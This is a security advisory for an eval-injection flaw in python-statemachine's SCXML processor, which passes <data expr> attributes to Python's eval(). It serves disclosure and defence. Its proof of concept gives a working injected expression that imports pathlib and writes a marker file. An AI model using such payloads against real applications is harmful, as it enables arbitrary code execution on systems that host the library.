GHSA-v4jc-pm6r-3vj8
python-statemachine SCXML <data expr> Eval Injection
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | python-statemachine | >= 3.0.0, < 3.2.0 | 3.2.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
python-statemachine 3.1.2 evaluates `<data expr="...">` attributes in SCXML documents using Python's `eval()`. Any application that passes attacker-controlled SCXML content to `SCXMLProcessor` is vulnerable to arbitrary code execution in the context of the hosting process.
### Details
`SCXMLProcessor.parse_scxml_file()` processes SCXML documents and evaluates `<data>` element `expr` attributes via the following call chain:
```
SCXMLProcessor.parse_scxml_file()
SCXMLProcessor.process_definition()
create_datamodel_action_callable()
_create_dataitem_callable()
_eval()
eval()
```
`_eval()` calls Python's built-in `eval()` directly on the expression string without sandboxing or restriction.
### PoC
```
1. Install:
pip install python-statemachine==3.1.2
2. Create an SCXML file containing:
<data id="x" expr="__import__('pathlib').Path('marker.txt').write_text('pwned')"/>
3. Run:
SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)
SCXMLProcessor.start()
4. During start(), <data expr> reaches _eval(), which calls eval().
5. Result:
data_marker_before_start: False
data_marker_after_start: True
success: True
```
### Impact
This is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/fgmacedo/python-statemachine/security/advisories/GHSA-v4jc-pm6r-3vj8
- https://nvd.nist.gov/vuln/detail/CVE-2026-47103
- https://github.com/fgmacedo/python-statemachine
- https://github.com/fgmacedo/python-statemachine/releases/tag/v3.2.0
- https://www.vulncheck.com/advisories/python-statemachine-rce-via-scxml-eval-injection